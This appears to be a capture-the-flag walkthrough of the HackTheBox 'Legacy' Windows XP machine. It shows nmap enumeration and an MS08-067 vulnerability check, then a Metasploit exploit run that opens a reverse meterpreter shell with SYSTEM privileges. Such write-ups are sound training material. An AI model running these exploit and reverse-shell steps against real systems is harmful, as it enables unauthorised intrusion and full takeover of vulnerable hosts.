Legacy is a vulnerable virtual machine created by ch4p on HackTheBox. In this post, we document a complete walkthrough of pwning this machine.
Enumeration
Nmap
Starting off with the nmap scan, we discover that smb is running on the server, and the operating system is Windows XP.
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$ nmap -sC -sV -oA recon/default 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up (0.096s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_clock-skew: mean: -4h01m30s, deviation: 1h24m50s, median: -5h01m30s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:4d:e3 (VMware)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2020-11-02T10:04:30+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
SMB
Based on the OS and service information, we find this machine may be vulnerable to a few old famous attacks such as MS08-067. This is confirmed by the following NSE script scan.
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$ nmap -p 445 -script smb-vuln-ms08-067 10.10.10.4
...
Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
Exploitation
MS08-067
We use the Metasploit module to exploit the target, and shortly a meterpreter sessions is popped with system privilege.
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msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 10.10.10.4
rhost => 10.10.10.4
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost tun0
lhost => tun0
msf6 exploit(windows/smb/ms08_067_netapi) > run
[*] Started reverse TCP handler on 10.10.14.12:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.10.10.4:1028) at 2020-11-02 06:33:49 -0500
meterpreter > sysinfo
Computer : LEGACY
OS : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM